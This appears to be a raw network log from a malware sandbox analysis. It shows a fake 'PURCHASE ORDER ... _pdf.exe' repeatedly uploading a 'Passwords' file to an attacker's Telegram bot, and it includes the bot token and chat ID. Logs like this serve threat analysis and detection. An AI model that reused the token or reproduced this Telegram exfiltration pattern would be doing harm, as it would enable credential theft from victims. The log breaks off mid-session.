2024-12-19 14:30:25 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 19 Dec 2024 14:30:25 GMT Content-Type: application/json Content-Length: 543 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-19 14:30:25 UTC	543	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 39 36 36 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 31 36 32 39 31 35 38 34 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 36 31 38 36 32 35 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e Data Ascii: {"ok":true,"result":{"message_id":19669,"from":{"id":7162915847,"is_bot":true,"first_name":"GTZSURE","username":"GTZSURE_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1734618625,"document":{"file_n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49883	149.154.167.220	443	4796	C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 14:30:29 UTC	296	OUT	POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd226c5ec256a2 Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2024-12-19 14:30:29 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 32 32 36 63 35 65 63 32 35 36 61 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd226c5ec256a2Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2024-12-19 14:30:30 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 19 Dec 2024 14:30:30 GMT Content-Type: application/json Content-Length: 543 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-19 14:30:30 UTC	543	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 39 36 37 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 31 36 32 39 31 35 38 34 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 36 31 38 36 33 30 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e Data Ascii: {"ok":true,"result":{"message_id":19671,"from":{"id":7162915847,"is_bot":true,"first_name":"GTZSURE","username":"GTZSURE_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1734618630,"document":{"file_n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49893	149.154.167.220	443	4796	C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 14:30:33 UTC	272	OUT	POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd22ac5e509c19 Host: api.telegram.org Content-Length: 1090
2024-12-19 14:30:33 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 32 32 61 63 35 65 35 30 39 63 31 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd22ac5e509c19Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2024-12-19 14:30:34 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 19 Dec 2024 14:30:34 GMT Content-Type: application/json Content-Length: 543 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-19 14:30:34 UTC	543	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 39 36 37 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 31 36 32 39 31 35 38 34 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 36 31 38 36 33 34 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e Data Ascii: {"ok":true,"result":{"message_id":19673,"from":{"id":7162915847,"is_bot":true,"first_name":"GTZSURE","username":"GTZSURE_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1734618634,"document":{"file_n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49904	149.154.167.220	443	4796	C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 14:30:37 UTC	272	OUT	POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd22f9f12f692d Host: api.telegram.org Content-Length: 1090
2024-12-19 14:30:37 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 32 32 66 39 66 31 32 66 36 39 32 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd22f9f12f692dContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2024-12-19 14:30:37 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 19 Dec 2024 14:30:37 GMT Content-Type: application/json Content-Length: 543 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-19 14:30:37 UTC	543	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 39 36 37 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 31 36 32 39 31 35 38 34 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 36 31 38 36 33 37 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e Data Ascii: {"ok":true,"result":{"message_id":19675,"from":{"id":7162915847,"is_bot":true,"first_name":"GTZSURE","username":"GTZSURE_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1734618637,"document":{"file_n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	49917	149.154.167.220	443	4796	C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 14:30:41 UTC	272	OUT	POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd236cd1f171f8 Host: api.telegram.org Content-Length: 1090
2024-12-19 14:30:41 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 32 33 36 63 64 31 66 31 37 31 66 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd236cd1f171f8Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2024-12-19 14:30:42 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 19 Dec 2024 14:30:42 GMT Content-Type: application/json Content-Length: 543 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-19 14:30:42 UTC	543	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 39 36 37 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 31 36 32 39 31 35 38 34 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 36 31 38 36 34 32 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e Data Ascii: {"ok":true,"result":{"message_id":19677,"from":{"id":7162915847,"is_bot":true,"first_name":"GTZSURE","username":"GTZSURE_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1734618642,"document":{"file_n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	49925	149.154.167.220	443	4796	C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 14:30:45 UTC	272	OUT	POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd23e52094dd2b Host: api.telegram.org Content-Length: 1090
2024-12-19 14:30:45 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 32 33 65 35 32 30 39 34 64 64 32 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd23e52094dd2bContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2024-12-19 14:30:45 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 19 Dec 2024 14:30:45 GMT Content-Type: application/json Content-Length: 543 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-19 14:30:45 UTC	543	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 39 36 37 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 31 36 32 39 31 35 38 34 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 36 31 38 36 34 35 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e Data Ascii: {"ok":true,"result":{"message_id":19679,"from":{"id":7162915847,"is_bot":true,"first_name":"GTZSURE","username":"GTZSURE_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1734618645,"document":{"file_n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	49937	149.154.167.220	443	4796	C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 14:30:49 UTC	272	OUT	POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd24984b8325b7 Host: api.telegram.org Content-Length: 1090
2024-12-19 14:30:49 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 32 34 39 38 34 62 38 33 32 35 62 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd24984b8325b7Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2024-12-19 14:30:50 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 19 Dec 2024 14:30:50 GMT Content-Type: application/json Content-Length: 543 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-19 14:30:50 UTC	543	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 39 36 38 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 31 36 32 39 31 35 38 34 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 36 31 38 36 35 30 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e Data Ascii: {"ok":true,"result":{"message_id":19681,"from":{"id":7162915847,"is_bot":true,"first_name":"GTZSURE","username":"GTZSURE_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1734618650,"document":{"file_n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	49947	149.154.167.220	443	4796	C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 14:30:53 UTC	296	OUT	POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd252256b0581f Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2024-12-19 14:30:53 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 32 35 32 32 35 36 62 30 35 38 31 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd252256b0581fContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2024-12-19 14:30:53 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 19 Dec 2024 14:30:53 GMT Content-Type: application/json Content-Length: 543 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-19 14:30:53 UTC	543	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 39 36 38 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 31 36 32 39 31 35 38 34 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 36 31 38 36 35 33 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e Data Ascii: {"ok":true,"result":{"message_id":19683,"from":{"id":7162915847,"is_bot":true,"first_name":"GTZSURE","username":"GTZSURE_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1734618653,"document":{"file_n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	49955	149.154.167.220	443	4796	C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe

Timestamp	Bytes transferred	Direction	Data
